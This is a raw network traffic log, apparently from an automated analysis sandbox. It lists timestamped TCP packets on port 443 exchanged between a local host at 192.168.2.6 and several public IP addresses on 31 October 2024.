Oct 31, 2024 09:07:13.890485048 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.890492916 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.890647888 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.890665054 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.891447067 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.891484976 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.891597033 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.891643047 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.891655922 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.902836084 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.902981043 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.903170109 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.903239012 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.903249025 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.911197901 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.914025068 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.914033890 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.915904045 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.916040897 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.916101933 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.916104078 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.916249037 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.916249037 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.916250944 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.916264057 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.916273117 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.916402102 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.917412043 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.917416096 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.917424917 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.917429924 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.918968916 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.919380903 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.919398069 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.919452906 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.919461966 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.919471025 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.919842005 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.919857979 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.920653105 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.920697927 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.922010899 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.922211885 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.922243118 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.952811956 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.952881098 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.953246117 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.953283072 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.953283072 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.953304052 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.953315020 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.955209017 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.955224991 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.955291986 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.955416918 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.955427885 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.968811989 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.968883038 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.968899965 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.991817951 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.991851091 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.991884947 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.991903067 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.991951942 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.992108107 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.994501114 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.994607925 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.994617939 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.995923996 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.995980024 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.995987892 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.005470991 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.005960941 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:14.005971909 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.023832083 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.023983955 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:14.023993969 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.024022102 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.024075031 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:14.024082899 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.024662971 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.025471926 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:14.025490999 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:14.025505066 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:14.025547981 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:14.584187984 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.584814072 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.584849119 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.585577011 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.585583925 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.617125034 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.617516994 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.617531061 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.617958069 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.617963076 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.639940023 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.640233994 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.640276909 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.640646935 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.640661001 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.684937000 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.685291052 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.685312033 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.685698986 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.685703993 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.693871975 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.694184065 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.694200039 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.694575071 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.694580078 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.716207027 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.716353893 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.716423988 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.716453075 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.716453075 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.716464996 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.716473103 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.719187975 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.719235897 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.719290018 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.719415903 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.719446898 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.748831987 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.748975039 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.749022961 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.749053955 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.749059916 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.749079943 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.749084949 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.750353098 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:14.750516891 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:14.752144098 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:14.752154112 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:14.752377987 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:14.753652096 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.753686905 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.753782034 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.753869057 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.753882885 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.754972935 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:14.755007029 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:14.755013943 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:14.755100012 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:14.767467022 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.767555952 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.767642975 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.767893076 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.767893076 CET	49745	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.767921925 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.767957926 CET	443	49745	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.770536900 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.770577908 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.770644903 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.770761967 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.770781040 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.795337915 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:14.821253061 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.821305037 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.821481943 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.821512938 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.821512938 CET	49744	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.821527958 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.821536064 CET	443	49744	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.823982954 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.824018002 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.824079037 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.824403048 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.824412107 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.824453115 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.824565887 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.824614048 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.824712038 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.824717045 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.824726105 CET	49746	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.824729919 CET	443	49746	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.827843904 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.827879906 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:14.828077078 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.828195095 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:14.828207016 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.004587889 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:15.005052090 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:15.005072117 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:15.005091906 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:15.005217075 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:15.462168932 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.462621927 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.462678909 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.463085890 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.463099003 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.479074001 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.479463100 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.479482889 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.479830027 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.479835033 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.506716013 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.510462999 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.510481119 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.510854006 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.510862112 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.576942921 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.577416897 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.577436924 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.577848911 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.577855110 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.591577053 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.594393969 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.594444036 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.594472885 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.594660044 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.594727993 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.594913006 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.594953060 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.594980001 CET	49751	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.594997883 CET	443	49751	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.595011950 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.595017910 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.597218990 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.597259998 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.597349882 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.597455978 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.597464085 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.606245041 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.606496096 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.606549025 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.606688023 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.606688023 CET	49752	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.606703043 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.606707096 CET	443	49752	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.608509064 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.608541012 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.608707905 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.608850956 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.608864069 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.639111042 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.639467001 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.639647961 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.639681101 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.639699936 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.639712095 CET	49753	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.639719009 CET	443	49753	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.641628027 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.641638041 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.641714096 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.641825914 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.641836882 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.707253933 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.707596064 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.707751036 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.707778931 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.707778931 CET	49755	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.707788944 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.707798004 CET	443	49755	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.709578991 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.709590912 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.709660053 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.709789991 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.709801912 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.729341030 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.729401112 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.729439974 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.729585886 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.729585886 CET	49754	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.729593992 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.729602098 CET	443	49754	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.731837988 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.731873035 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:15.731960058 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.732068062 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:15.732089043 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.119698048 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:16.119728088 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:16.119790077 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:16.119949102 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:16.119962931 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:16.329941034 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:16.330003977 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:16.330157042 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:16.330316067 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:16.330344915 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:16.331846952 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.333473921 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.333502054 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.333973885 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.333980083 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.336889029 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.337182045 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.337198973 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.337652922 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.337661028 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.389777899 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.390513897 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.390527010 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.390914917 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.390918970 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.425502062 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.426080942 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.426099062 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.426472902 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.426477909 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.428915024 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:16.428935051 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:16.429008007 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:16.430495024 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:16.430506945 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:16.461473942 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.461596012 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.461695910 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.461745977 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.461760044 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.461770058 CET	49757	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.461775064 CET	443	49757	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.464159012 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.464189053 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.464263916 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.464418888 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.464435101 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.465130091 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.465219021 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.465320110 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.465344906 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.465369940 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.465384960 CET	49758	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.465394020 CET	443	49758	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.467252016 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.467308044 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.467406034 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.467526913 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.467565060 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.494656086 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.495351076 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.495373964 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.495784044 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.495794058 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.519392014 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.519537926 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.519643068 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.519797087 CET	49759	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.519813061 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.519823074 CET	49759	443	192.168.2.6	13.107.246.45
